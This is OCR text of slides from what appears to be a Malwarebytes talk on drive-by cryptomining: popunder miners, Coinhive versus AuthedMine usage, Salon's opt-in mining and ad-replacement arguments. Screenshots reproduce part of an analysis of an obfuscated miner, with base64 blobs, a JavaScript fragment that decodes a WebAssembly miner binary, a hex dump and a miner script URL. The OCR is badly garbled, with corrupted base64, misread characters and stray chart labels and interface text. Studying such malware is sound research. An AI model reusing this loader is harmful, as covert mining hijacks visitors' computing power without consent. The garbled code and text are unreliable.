CQVFFRONBQUIDUUNVCOVFvQOJN Yt BQUFBQIFBGk FRRUJBQUICQ3dJRk Fnc ORCUXdGOkFRRUFBMEJBGVIm
Qm44Qkd 30 Lhemd 0VgQVFOLOF T TUNDMzhCUVFBTGZ3RkJEQXOvAVVFQUNIZWEBaGNJ Yz JWMFZHaHIaWGN
BQ2dsZmJXRnJaVTFgZEhnQURRaGZiVkps YzNWe2ZRBAVNCMTI0Wlcxelp YUUFPUVZmYzJ KeWF3Q TJCMTIOW]
cxamMIa0FOd3B6ZEdGam EwRnNiRzlgQUFZSFgz Trodd RXB2WWABUEMyZGudc RlJs YIhC U 1p Y UXdBQXdM Yz WM
FZHVnRjRkpsZERBQUN4dGZaVzFEWTNKeGNI Unedb DiuWih S doye HZZb U ZzWDJ4cFt TUFNd 3hrZVe 1RFIXeHN

Y M 1pw Y VdrQUSn MWHVZVEWVd4c 1g2Wn BhV2wQURz SmMz Umh ZMnRUWVhab EFBYDZYMip 5WIdVQ U 1RdHIk
VzVRYjNOMFLy\jBjdDExRTJWemRHRmIiR2«6YUZOMAXTnJVM Mo WTJVAUNRaG A1 Z0YlcSMipRATRCHDIDV
Ec5dmNBQVJESEdwWVdOclViVnpk Rzl SWIFBSUkOXRZV3hz YjJNQU1 BVmZMYwVmd BTONGOW 1jb TIOUOdWN
EFCQUpFZOVBSXdRTEREd25LQ2xUERIOFETWXIQUXFTMEFNNEd 3R UJme U THSVFFakJpQUFhaVFHSXdaQ
leChycEJj SEVIQmIBQKkN3UUFJd 1IMGmdBZ0FDUUMDd 2585 UFBalpQUIKQWNMRUFBak NFVUVRQOFBSKkFnZ0F ~

0:0  0/213,754 Find... (press Ctrl+Enter to highlight all) | | View in Notepad ||I|

https: /{mepirtedic.comfamo.js

S,

= All Processes 1/3

Malwarebytes

TextWizard [181948 => 136459 chars] (3]

The TextWizard encodes and decodes text. Input text and select a transform from the dropdown.

dmFylE1vZHVsZT17fTINB2ZR 1bGVbIndhc2 1CaWEhenkiXT 1md W5 GhbihzKXt2YXIgaSxkPWFIb2locyksY]1uZXcg\VWiudDhBendheShkL
modbmdlaCk7ZmayKGkIMDtpPGQubGVuZ3Ro02krKyIWAdPWQUY2hhckNvZ GVBIChpKTtyZXR1cmdgYnlolkFHRnpiUUVBQUFBQEZ | |
BNWACSDkvZIM4QVIBTiISmMzhBWUFGLOFHQUFBWDINQTM5L2Z 3RiI9ZQUYvQVg5Z0FuOS9BROFFZIM5L2Z 3RIGZQU4VZIMOQVIBTI
mjhBWUFSL2YZNSSBWDInQW45LOFY OWdBQUJn@ighL2YzOSSEQUWSQVEWRFpXNTJEa1JaVGIGTINVTIVUMUJmVUZSUOEZOEFB
/ MIZ1Z2GdoVFZFRERTMYJQVUFOLOFBTmeablkV TFSQHEWdGZUVUZZQTMAQUEYWnVEZ 1Z0WW0seWRBQUNBMIZ 12 GexbGlteGhjbW
RsVFdWdGIzSVBQU1EWICTMKRIZ GxkRL2ZEdGe1 RXVnRIMOo1QUFNRFpXNTJGMKZpYINKMF Gy NURZVZVIYINSSGNIOTNUVAZ0Y
JNKNUFBTURaVzUyRmwEb G Y TmpjbWx3Z EdWdV gy MW/ 0532V Y5aWFXYIFCQUESYmMEZ T FaxOWZMIY wlihKeVRIOEFBZ055YmBL
R2JXVnRIMOo1QWdIHQUFYQUNBMIZ1ZGdWMFIXSnNall UZ3QVF3ITUEyWnVkKZIBOWIcxdmNubENZWESsQTMAQUEYWnVKZ 2w/ dIC
c1pVSmhjMIVEZndBRESUZ0ZBdMHGmd) REJRWUKCQVVCQVFFROINBQUIDUUYVCQYFYQOInYBQUFBQIFEQKFRRUJBQUICQ3dJR

Transform: |From Base64 v | [] View bytes

mvar Module={}; Medule["wasmBinary"]=functicn(s){var i,d=atob(s) b=new Uint8Array(d length);for(i=0;i<d length;i++)b[i}=d.charCode At
(1);return

b} ("AGFzbQEAAAABY ABgBHSITISAY AN/3BAY AF/AG AAAXSgATS T Y AF/AXSg ANSIAG AETISTWF Y AN/T34 AY AN/fnB AY ART35/AX9g.AnS/
AXS8gAABgBEXS/T38/AA SACQIDZWEZDKRZTKFNSUNUT1BfU=B S A2 Aamh-sh TVEFDS1RPUAN/AANIDRY J U1 REQOHTUFYASSAAZV udg
VhYmSydAACA2Vudg 1Ibmxhemd WV tb3J5AAMDZWS2Dmdl B a se64 3JEAAMDZWS2F2Fib3J0T250YWEub3RHem83TWVib3J5
AAMDZWS2FISIbXNjcmbad GVUX2 1 IBWNweVSiaWCABANIENY — v v w1 v, « MBAAGNIBNY GBWV B3I BAGGAALAC A2V udgVIYWISZQFW
AChaA2VudgptZ W veniCYXNIASE AA2VudglY WU sZUJhe2U DFwADO TgF AW GBgl DBAYHBAL BAQEGCAAICQEBAQCCBgcKAAAARQA

-

-

EncodingsSave Output: As Session To File.. | Send output to input 5 ]

TextWizard [92728 => 69544 bytes] ]

The TextWizard encodes and decodes text. Input text and select a transform from the dropdown.

Encoding
Input | Unicode (UTF-8) [65001 - utf-8]) v]

~| Output [Unicode (UTF-8) [65001 - utf-8])

AGFzbQEAAAABY ABGBHSTIBAY ANFIBAY AF/AG AAAX S ASS MY AR AXSg ANSIAG AETISTWE Y ANFI4AY AN/nB AY AR5/ AXBg AnSIAX
SgAABgBXSTIAAL SAGDDZWEZDKRZTKFNSUNUT1BfUFRSA38AAZVudgh TVEFDS1RPUAN/AANIDNYJU1RBQMTUFYA3BAAZudgVh |_|
YmEydAACAZVudg1Ibmxhemd TWVib3J5AAMDZW52DmdidF RvdGFs TWYtb3J5AAMDZW52F 2Fib3J0T250YW5Ub3RHemO3 TWYtb3 544
MDZWE2FISIbXNjcmbad GVUX2 1IbWNweVSiaWcABANIbnYLX18fc2VORXJy TmEAAgNIbnY GbWVh3J5AgGAADAC A2V udgVIYWIsZ QF wh
QM AZVudgptZ W TveniCYXNIAZEAAZY udglY WU sZUJhe2UDPwADOTgF AW GEgIDBQYHBALUBAQEGCAAICQEBAQOCBgcKAAAABQAB
ACQEBAABCWFAgsDEQWFBAQEAADBAAYTENSBIWALTWEIAQUASMCCISBQQALfWFBAAYALEACwWenAhclc2VIVGhyZXcACfoWFrZ U1

dHgADGhYJIcIVedAASB1ZW1 22X QA0QVTC2yawAZB 19tZW 1 jcHkAN wpzd GFjalFsbGSAAY HXINIKEpYYgAPC2didFRIDXBSZX Chw

Transform: |From Baseg4 - View bytes

/

-

EncodingsSave Qutput: As Session To File.. | Se

00 61 73 6D 01 00 00 00 01 54 OE 60 04 7F 7F 7F 7F 00 60 03 .asm..... T. ... -
F 7F 7F 00 60 01 7F 00 60 00 01 7F 60 03 7F 7F 7F 01 7F 60 WO, .1 ,.0 \OU (3) =
01 7F 01 7F 60 02 7F 7F 00 60 04 7F 7F 7F 7F 01 7F 60 03 7F .LIU .0 .M.l L
7F 7E . 32 7F T bl L BT LD

7F 01 33 65 LI'.. .OL.y...&

6E 76 WebAssemny blnary ('wasm)?F 00 nv.DYNAMICTOP_PTR.L

03 65 6E 76 08 53 54 41 43 4B 54 4F 50 03 7F 00 03 65 6E 76 .env.STACKTOP.L .env

09 53 54 41 43 4B SF 4D 41 58 03 7F 00 03 65 6E 76 05 61 62 .STACK _MAX.L..env.ab

6F 72 74 00 02 03 65 6E 76 OD 65 6E 6C 61 72 67 65 4D 65 60 ort...env.enlargeMem i




Popunder or how to mine longer

*Popunder activates with user click and hides under the taskbar

*Closing browser windows does not close the popunder

*Mining continues until browser process is terminated

1:23 PM

AT D) o017

Malwarebytes




Legitimate uses of in-browser mining



Coinhive versus AuthedMine

200K

Aug 26 Aug 28

Aug 30 Sep 1 Sep 3 Sep 5

Sep7 Sep 9

Sep 11 Sep 13

Sep 15 Sep 17

15K

Source: Malwarebytes telemetry between Aug 26 and Sept 23 2018

10K
5K
0K

Aug 26 Aug 28 Aug 30 Sep 1 Sep 3 Sep 5 Sep 7 Sep 9 Sep 11 Sep 13 Sep 15 Sep 17

Malwarebytes

150K
100K
50K
OK

Sep 19
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Sep 23

Allow for this session

Sep 19 Sep 21 Sep 23




The ad replacement argument

*Browser-based mining is less lucrative than thought
*Few hundred dollars/day for popular torrent sites*
*Ad networks double dip with ads and Coinhive **

*Even opt-in mining can be abused

*https://arxiv.org/pdf/1808.09474.pdf

3

Malwarebytes

pie @ -
.@Salon encourages users to opt-into
CPU-lending for humanitarian reasons
(and maybe some crypto-mining). When
you opt-in, they go straight to mining,
instantly driving CPU usage to 100%.

- L9408, B N
We noticed you're .

using an ad blocker

We depend on ads to keep our content free for you.

Please consider disabling your ad blocker so we can
continue to create the content you come here to enjoy.

OK, I'VE DISABLED IT Allow ads on Salon learn more

SUPPRESS ADS Block ads by a//qwing Salon to use your
unused computing power learn more

COMING SOON: The Salon App — a fast, ad-free experience,
featuring exclusive stories and documentaries. Sign up for our
newsletter to get notified when it's available.

ey :
< | —

9:28 AM - 13 Feb 2018

**https://www.trustwave.com/Resources/SpiderLabs-Blog/%E2%80%9CDon-t-Mine-Me%E2%80%9D-%E2%80%93-Coinhive/



Malwarebytes

Legitimate in-browser mining: a long road ahead

*Browser-based mining could be an alternative to ads if done properly

*Explicit consent
* Respect of user resources (moderate CPU usage)

*Changing the negative perception will require top web mining services to adapt their
business model

*Value of cryptocurrencies weighs heavily on in-browser mining as a stable revenue source
for publishers



Malwarebytes

Summary

Drive-by mining emerged as cryptocurrencies gained value and
web technologies improved

Attackers are opportunistic (i.e. newly found vulnerabilities)
and are going for larger targets

Criminals have fully engaged in evasion techniques and current
defenses are inadequate




Questions?



